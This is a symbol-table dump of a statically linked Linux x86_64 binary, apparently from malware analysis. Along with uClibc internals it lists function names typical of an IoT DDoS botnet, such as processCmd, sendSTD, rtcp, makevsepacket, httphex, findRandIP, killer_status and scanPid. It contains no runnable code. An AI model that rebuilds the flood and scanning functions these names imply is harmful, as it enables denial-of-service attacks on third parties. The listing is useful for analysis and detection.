_stdio_openlist_dec_use	.symtab	0x40cdf4	216	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x51d1e4	4	OBJECT	<unknown>	DEFAULT	10
_stdio_openlist_del_lock	.symtab	0x518de0	40	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_use_count	.symtab	0x51d1e0	4	OBJECT	<unknown>	DEFAULT	10
_stdio_streams	.symtab	0x518e10	384	OBJECT	<unknown>	DEFAULT	9
_stdio_term	.symtab	0x407aea	135	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x518e08	4	OBJECT	<unknown>	DEFAULT	9
_stdlib_strto_l	.symtab	0x40ad64	339	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x40c5e4	46	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x413970	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x40c614	201	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x407c61	1716	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x40a8a0	200	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
access	.symtab	0x407618	41	FUNC	<unknown>	DEFAULT	2
access.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
acnc	.symtab	0x40346e	161	FUNC	<unknown>	DEFAULT	2
add_entry	.symtab	0x406abb	99	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x40ad44	18	FUNC	<unknown>	DEFAULT	2
atoi.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bcopy	.symtab	0x4092b8	14	FUNC	<unknown>	DEFAULT	2
bcopy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
been_there_done_that	.symtab	0x51f3f0	4	OBJECT	<unknown>	DEFAULT	10
brk	.symtab	0x40dd88	43	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x40964c	133	FUNC	<unknown>	DEFAULT	2
buf.5765	.symtab	0x51f210	448	OBJECT	<unknown>	DEFAULT	10
bzero	.symtab	0x408fc0	210	FUNC	<unknown>	DEFAULT	2
c	.symtab	0x518d48	4	OBJECT	<unknown>	DEFAULT	9
calloc	.symtab	0x40a02c	248	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x4001c0	114	FUNC	<unknown>	DEFAULT	2
checksum_tcp_udp	.symtab	0x400232	222	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x400310	222	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x4078f4	46	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
clock_getres	.symtab	0x40b814	41	FUNC	<unknown>	DEFAULT	2
clock_getres.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x4078a0	41	FUNC	<unknown>	DEFAULT	2
close.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closedir	.symtab	0x40b948	147	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closenameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5150	.symtab	0x519140	1	OBJECT	<unknown>	DEFAULT	10
connect	.symtab	0x4094b0	43	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connectTimeout	.symtab	0x4019ce	582	FUNC	<unknown>	DEFAULT	2
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
csum	.symtab	0x401d16	116	FUNC	<unknown>	DEFAULT	2
data_start	.symtab	0x518bf0	0	NOTYPE	<unknown>	DEFAULT	9
decoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dnslookup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dup2	.symtab	0x4074dc	44	FUNC	<unknown>	DEFAULT	2
dup2.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x51f408	8	OBJECT	<unknown>	DEFAULT	10
errno	.symtab	0x51f428	4	OBJECT	<unknown>	DEFAULT	10
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execl	.symtab	0x40b278	287	FUNC	<unknown>	DEFAULT	2
execl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execve	.symtab	0x40b7d0	38	FUNC	<unknown>	DEFAULT	2
execve.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x40aeb8	92	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x414d30	208	OBJECT	<unknown>	DEFAULT	4
fclose	.symtab	0x40c008	269	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x4076e8	100	FUNC	<unknown>	DEFAULT	2
fd_to_DIR	.symtab	0x40b9dc	149	FUNC	<unknown>	DEFAULT	2
fdgets	.symtab	0x4014a3	130	FUNC	<unknown>	DEFAULT	2
fdopen_pids	.symtab	0x51d1c0	8	OBJECT	<unknown>	DEFAULT	10
fdopendir	.symtab	0x40bb0e	115	FUNC	<unknown>	DEFAULT	2
fdpclose	.symtab	0x40137b	296	FUNC	<unknown>	DEFAULT	2
fdpopen	.symtab	0x4011a2	473	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x40cecc	322	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x40cd00	128	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x40d010	222	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x40cd80	116	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x40d0f0	116	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
findRandIP	.symtab	0x401ce7	47	FUNC	<unknown>	DEFAULT	2
fmt	.symtab	0x414d10	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x40c118	10	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x4075e8	38	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x408a18	56	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x400150	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x40a6c1	451	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x40e12c	5	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x40e12c	5	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x40e134	225	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x40ddb4	82	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat64	.symtab	0x40ddb4	82	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked	.symtab	0x408a50	128	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getBuild	.symtab	0x4058ec	6	FUNC	<unknown>	DEFAULT	2
getHost	.symtab	0x4016aa	65	FUNC	<unknown>	DEFAULT	2
getOurIP	.symtab	0x405709	483	FUNC	<unknown>	DEFAULT	2
get_hosts_byname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getc	.symtab	0x40cd00	128	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x40d010	222	FUNC	<unknown>	DEFAULT	2
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x407698	36	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x40b868	8	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x4075e0	8	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x40b8bc	8	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname	.symtab	0x409460	10	FUNC	<unknown>	DEFAULT	2
gethostbyname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname2	.symtab	0x40946c	65	FUNC	<unknown>	DEFAULT	2
gethostbyname2.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname2_r	.symtab	0x40da60	761	FUNC	<unknown>	DEFAULT	2
gethostbyname2_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname_r	.symtab	0x40f67c	791	FUNC	<unknown>	DEFAULT	2
gethostbyname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostname	.symtab	0x40f9c0	94	FUNC	<unknown>	DEFAULT	2
gethostname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x40b7f8	19	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x4075a4	8	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x407508	8	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x40b840	40	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit64	.symtab	0x40b840	40	FUNC	<unknown>	DEFAULT	2
getsockname	.symtab	0x4094dc	41	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x409508	50	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x40b80c	8	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h_errno	.symtab	0x51f42c	4	OBJECT	<unknown>	DEFAULT	10
hacks	.symtab	0x518c00	4	OBJECT	<unknown>	DEFAULT	9
hacks2	.symtab	0x518c04	4	OBJECT	<unknown>	DEFAULT	9
hacks3	.symtab	0x518c08	4	OBJECT	<unknown>	DEFAULT	9
hacks4	.symtab	0x518c0c	4	OBJECT	<unknown>	DEFAULT	9
hextable	.symtab	0x410d40	2048	OBJECT	<unknown>	DEFAULT	4
hoste.5764	.symtab	0x51f3d0	32	OBJECT	<unknown>	DEFAULT	10
htonl	.symtab	0x40942c	5	FUNC	<unknown>	DEFAULT	2
htons	.symtab	0x409424	8	FUNC	<unknown>	DEFAULT	2
httphex	.symtab	0x4035e7	1096	FUNC	<unknown>	DEFAULT	2
i.5272	.symtab	0x518d4c	4	OBJECT	<unknown>	DEFAULT	9
index	.symtab	0x408bb0	417	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x409440	29	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x40d9d8	135	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_ntop	.symtab	0x40e771	518	FUNC	<unknown>	DEFAULT	2
inet_ntop4	.symtab	0x40e67e	243	FUNC	<unknown>	DEFAULT	2
inet_pton	.symtab	0x40e491	493	FUNC	<unknown>	DEFAULT	2
inet_pton4	.symtab	0x40e40c	133	FUNC	<unknown>	DEFAULT	2
initConnection	.symtab	0x4055a2	359	FUNC	<unknown>	DEFAULT	2
init_rand	.symtab	0x400504	126	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x40aa16	110	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x40ac88	185	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x4077dc	101	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x409398	25	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x4076bc	44	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_status	.symtab	0x5191b0	4	OBJECT	<unknown>	DEFAULT	10
last_id.5826	.symtab	0x519120	2	OBJECT	<unknown>	DEFAULT	9
last_ns_num.5825	.symtab	0x51f438	4	OBJECT	<unknown>	DEFAULT	10
libc/string/x86_64/bzero.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/memcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/mempcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/memset.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strchr.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcmp.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strcspn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strlen.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strpbrk.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/x86_64/strspn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crt1.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crti.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/crtn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/x86_64/vfork.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listFork	.symtab	0x401c14	211	FUNC	<unknown>	DEFAULT	2
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek	.symtab	0x40fe98	45	FUNC	<unknown>	DEFAULT	2
lseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek64	.symtab	0x40fa70	5	FUNC	<unknown>	DEFAULT	2
macAddress	.symtab	0x5191b4	6	OBJECT	<unknown>	DEFAULT	10
main	.symtab	0x4058f2	1624	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
makeIPPacket	.symtab	0x401e33	153	FUNC	<unknown>	DEFAULT	2
makeRandomStr	.symtab	0x401722	110	FUNC	<unknown>	DEFAULT	2
makevsepacket	.symtab	0x402e3c	169	FUNC	<unknown>	DEFAULT	2
malloc	.symtab	0x40979e	2187	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x40a884	28	FUNC	<unknown>	DEFAULT	2
memchr	.symtab	0x40d2dc	236	FUNC	<unknown>	DEFAULT	2
memchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memcpy	.symtab	0x408f50	102	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x40d3c8	702	FUNC	<unknown>	DEFAULT	2
memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mempcpy	.symtab	0x40d280	90	FUNC	<unknown>	DEFAULT	2
memrchr	.symtab	0x40d7a8	233	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x408ad0	210	FUNC	<unknown>	DEFAULT	2
mmap	.symtab	0x40b6f4	48	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x40b914	42	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x40b8c4	38	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x518fd0	40	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x519000	40	OBJECT	<unknown>	DEFAULT	9
nanosleep	.symtab	0x40b8ec	38	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1699	.symtab	0x51f200	8	OBJECT	<unknown>	DEFAULT	10
ngPid	.symtab	0x51f474	4	OBJECT	<unknown>	DEFAULT	10
nprocessors_onln	.symtab	0x40afa4	223	FUNC	<unknown>	DEFAULT	2
ntohl	.symtab	0x409439	5	FUNC	<unknown>	DEFAULT	2
ntohl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ntohs	.symtab	0x409431	8	FUNC	<unknown>	DEFAULT	2
ntop.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
numpids	.symtab	0x5191a8	8	OBJECT	<unknown>	DEFAULT	10
object.5162	.symtab	0x519160	48	OBJECT	<unknown>	DEFAULT	10
open	.symtab	0x407510	106	FUNC	<unknown>	DEFAULT	2
open.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opendir	.symtab	0x40ba71	157	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opennameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ourIP	.symtab	0x51f470	4	OBJECT	<unknown>	DEFAULT	10
p.5148	.symtab	0x518be8	0	OBJECT	<unknown>	DEFAULT	9
parseHex	.symtab	0x401525	85	FUNC	<unknown>	DEFAULT	2
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
pids	.symtab	0x51f480	8	OBJECT	<unknown>	DEFAULT	10
pipe	.symtab	0x40757c	38	FUNC	<unknown>	DEFAULT	2
pipe.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
poll	.symtab	0x40f994	41	FUNC	<unknown>	DEFAULT	2
poll.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prctl	.symtab	0x4075b4	44	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.5134	.symtab	0x4138a8	12	OBJECT	<unknown>	DEFAULT	4
print	.symtab	0x400a32	1083	FUNC	<unknown>	DEFAULT	2
printchar	.symtab	0x4007bf	75	FUNC	<unknown>	DEFAULT	2
printi	.symtab	0x4008f1	321	FUNC	<unknown>	DEFAULT	2
prints	.symtab	0x40080a	231	FUNC	<unknown>	DEFAULT	2
processCmd	.symtab	0x403a2f	7027	FUNC	<unknown>	DEFAULT	2
program_invocation_name	.symtab	0x519118	8	OBJECT	<unknown>	DEFAULT	9
program_invocation_short_name	.symtab	0x519110	8	OBJECT	<unknown>	DEFAULT	9
qual_chars.5141	.symtab	0x4138c0	20	OBJECT	<unknown>	DEFAULT	4
raise	.symtab	0x40dd5c	18	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x40a968	11	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand__str	.symtab	0x406012	135	FUNC	<unknown>	DEFAULT	2
rand_alpha_str	.symtab	0x406099	118	FUNC	<unknown>	DEFAULT	2
rand_alphastr	.symtab	0x400710	175	FUNC	<unknown>	DEFAULT	2
rand_cmwc	.symtab	0x40065a	182	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x405f4c	83	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x405f9f	115	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x40a974	72	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x4144d0	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x40ab77	90	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x519060	128	OBJECT	<unknown>	DEFAULT	9
rawmemchr	.symtab	0x40d6e8	189	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x407670	39	FUNC	<unknown>	DEFAULT	2
read.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_etc_hosts_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir64	.symtab	0x40bb84	143	FUNC	<unknown>	DEFAULT	2
readdir64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x40a124	878	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recv	.symtab	0x40953c	11	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvLine	.symtab	0x401790	574	FUNC	<unknown>	DEFAULT	2
recvfrom	.symtab	0x409548	45	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_conf_mtime.5807	.symtab	0x51f468	4	OBJECT	<unknown>	DEFAULT	10
resolv_domain_to_hostname	.symtab	0x406110	156	FUNC	<unknown>	DEFAULT	2
resolv_entries_free	.symtab	0x40680c	56	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x406254	1464	FUNC	<unknown>	DEFAULT	2
resolv_skip_name	.symtab	0x4061ac	168	FUNC	<unknown>	DEFAULT	2
rindex	.symtab	0x40d894	53	FUNC	<unknown>	DEFAULT	2
rtcp	.symtab	0x4028a1	939	FUNC	<unknown>	DEFAULT	2
sbrk	.symtab	0x40b870	74	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanPid	.symtab	0x51f478	4	OBJECT	<unknown>	DEFAULT	10
select	.symtab	0x407644	44	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x409578	11	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendSTD	.symtab	0x402c4c	496	FUNC	<unknown>	DEFAULT	2
sendto	.symtab	0x409584	48	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x4095b4	53	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x40a9bc	90	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x40aacc	171	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x40b72d	114	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigaddset	.symtab	0x40961c	35	FUNC	<unknown>	DEFAULT	2
sigaddset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigempty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigemptyset	.symtab	0x409640	10	FUNC	<unknown>	DEFAULT	2
signal	.symtab	0x40964c	133	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x407870	47	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
skip_and_NUL_space	.symtab	0x40f1e5	44	FUNC	<unknown>	DEFAULT	2
skip_nospace	.symtab	0x40f1bc	41	FUNC	<unknown>	DEFAULT	2
sleep	.symtab	0x40af14	142	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x4095ec	47	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket_connect	.symtab	0x40350f	216	FUNC	<unknown>	DEFAULT	2
sockprintf	.symtab	0x401035	365	FUNC	<unknown>	DEFAULT	2
spec_and_mask.5140	.symtab	0x4138e0	16	OBJECT	<unknown>	DEFAULT	4
spec_base.5133	.symtab	0x4138b4	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.5137	.symtab	0x413940	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.5136	.symtab	0x413958	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.5139	.symtab	0x4138f0	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.5138	.symtab	0x413900	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x407924	149	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x40aa84	72	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x40aa84	72	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x40abd1	183	FUNC	<unknown>	DEFAULT	2
stat	.symtab	0x40fa20	79	FUNC	<unknown>	DEFAULT	2
stat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
stat64	.symtab	0x40fa20	79	FUNC	<unknown>	DEFAULT	2
stderr	.symtab	0x518d90	8	OBJECT	<unknown>	DEFAULT	9
stdin	.symtab	0x518d80	8	OBJECT	<unknown>	DEFAULT	9
